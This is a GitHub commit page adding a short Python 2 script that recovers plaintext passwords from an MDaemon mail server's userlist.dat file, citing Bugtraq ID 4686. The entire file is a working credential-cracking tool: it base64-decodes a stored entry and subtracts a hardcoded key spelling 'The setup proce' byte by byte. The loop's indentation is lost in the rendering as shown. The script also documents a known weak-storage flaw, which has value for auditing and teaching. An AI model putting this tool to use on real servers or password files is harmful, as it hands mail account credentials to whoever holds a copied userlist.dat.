Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
AgoraSecurity authored Jul 16, 2016
1 parent be965fe commit 0a9dae3
Showing 1 changed file with 22 additions and 0 deletions.
22 changes: 22 additions & 0 deletions crack_userlist.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/usr/bin/python

"""
Author: Manuel Nader @AgoraSecurity
Script to obtain the plaintext password of MDaemons userlist.dat file.
Ref: http://www.securityfocus.com/bid/4686/discuss
Bugtraq ID: 4686
"""

import base64
offset=[84,104,101,32,115,101,116,117,112,32,112,114,111,99,101]
inicial=raw_input("Enter the password in base64: ")
decode=bytearray(base64.b64decode(inicial))
crack=decode
result=bytearray()
for i in range(0,len(crack)):
if (crack[i]-offset[i]) > 0:
result.append(crack[i]-offset[i])
else:
result.append((crack[i]-offset[i])+128)
print "The password is: ",
print result

0 comments on commit 0a9dae3

Please sign in to comment.